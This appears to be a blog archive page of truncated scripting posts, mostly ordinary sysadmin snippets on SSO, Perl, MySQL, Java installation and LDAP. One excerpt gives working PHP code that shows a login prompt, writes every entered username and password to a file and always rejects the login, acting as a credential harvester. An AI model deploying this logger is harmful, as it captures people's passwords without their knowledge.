//
archives

scripting

This category contains 7 posts

Opensource IT Security Solutions

Implementation of SSO (Single-Sign-On) procedures according to ADAE’s Requirements for Telcos, ISPs, Banks, etc. SSO Apache Authentication Against Active Directory, SSO Proxy Squid Authentication Against Active Directory, SSO vsftpd Authentication Against Active Directory. Web Content Filtering and Anti Virus Services. Integration of OpenSSH with OpenLDAP, Kerberos, Active Directory standards (SSO) with full logging and replay … Continue reading

How to Authenticate against Facebook using Perl

#!/usr/bin/perl -w #How to Authenticate against Facebook using Perl #coded by Panagiotis Iliopoulos 20/2/2011 #apt-get install libcrypt-ssleay-perl use strict; use LWP::UserAgent; use HTTP::Cookies; my $fname=”fbkCookies.dat”; if (-e $fname) { unlink $fname;} my $email=”user@domain name”; my $password=”yourpassword”; my $user_agent = ‘Mozilla/5.0 (Linux; U; Android 2.2; en-us; Ideos Build/FRF91) AppleWebKit/533.1 Mobile Safari/533.1’; my %postLoginData=(        … Continue reading

Excel to MySQL Importer With ActivePerl

1) CREATE DATABASE `mydb` DEFAULT CHARACTER SET utf8 COLLATE utf8_unicode_ci; 2) CREATE USER ‘mydbusr’@’%’ IDENTIFIED BY ‘mypassword’; 3) GRANT USAGE ON * . * TO ‘mydbusr’@’%’ IDENTIFIED BY ‘mypassword’ WITH MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0 MAX_UPDATES_PER_HOUR 0 MAX_USER_CONNECTIONS 0 ; 4) GRANT SELECT , INSERT , UPDATE , DELETE , CREATE , DROP , REFERENCES , … Continue reading

A Simple PHP Authenticator which logs users’ usernames and passwords

<?php if (!isset($_SERVER[‘PHP_AUTH_USER’])) { header(‘WWW-Authenticate: Basic realm=”Restricted Area”‘); header(‘HTTP/1.0 401 Unauthorized’); echo ‘401 Unauthorized’; exit; } else { $a=$_SERVER[‘PHP_AUTH_USER’]; $b=$_SERVER[‘PHP_AUTH_PW’]; $myFile = “./testFile.txt”; $fh = fopen($myFile, ‘a’) or die(“ferror!!!”); fwrite($fh, $a); fwrite($fh,”\n”); fwrite($fh, $b); fwrite($fh,”\n”); fwrite($fh,”——————-\n”); fclose($fh); header(‘WWW-Authenticate: Basic realm=”Restricted Area”‘); header(‘HTTP/1.0 401 Unauthorized’); echo ‘401 Unauthorized’; exit; } ?> # tail -f testFile.txt ——————- … Continue reading

Installation of SUN JAVA Under RHEL

0. Download JAVA and Run the InstallerJava can be downloaded through http://java.sun.com/products/archive/ link # cd /opt# chmod +x jdk-6u11-linux-x64.bin# script -a jdk_installation.txt# ./jdk-6u11-linux-x64.bin# exit 1.# rm /usr/bin/java2.# test -L /usr/local/java && mv /usr/local/java /usr/local/java_orig_system3.# find /usr/local -maxdepth 1 -type d -name “j2sdk*” -exec rm -r {} \;4.# find /usr/local -maxdepth 1 -type d -name “jdk?.*” … Continue reading

MySQL Driven Apache NCSA Log Parser – Linux Ansi C (gcc)

mysql> desc apacheLog; +———+————–+——+—–+———+——-+ | Field | Type | Null | Key | Default | Extra | +———+————–+——+—–+———+——-+ | myDATE | datetime | NO | | NULL | | | hosts | varchar(255) | NO | | NULL | | | method | char(4) | NO | | NULL | | | url | varchar(255) … Continue reading

How to fetch user’s SMIME cerificate (Public Key) from Active Directory (eponymous bind) using Perl

#!/usr/bin/perl use Net::LDAP; use IO::File; binmode STDOUT; my $CREATE_CERT = new IO::File “> /tmp/mycert.cer”; $ldap = Net::LDAP->new(‘10.20.0.145’) or die “Could not connect: $@”; $result = $ldap->bind(‘CN= bind_usr ,OU=System Administrators,OU=Project Management & Support Dpt,OU=Systems Technical Division,OU=EMPLOYEES,DC=CONTOSO,DC=MSFT’,password =>’mypass’); die $result->error if $result->code; # do stuff $search = $ldap->search(base=>’OU=EMPLOYEES,DC=CONTOSO,DC=MSFT‘,scope=>’subtree’,filter=>'(&(objectclass=user)(objectcategory=Person))’); die $search->error if $search->code; print “Total entries returned: “,$search->count,”\n”; … Continue reading

Advertisements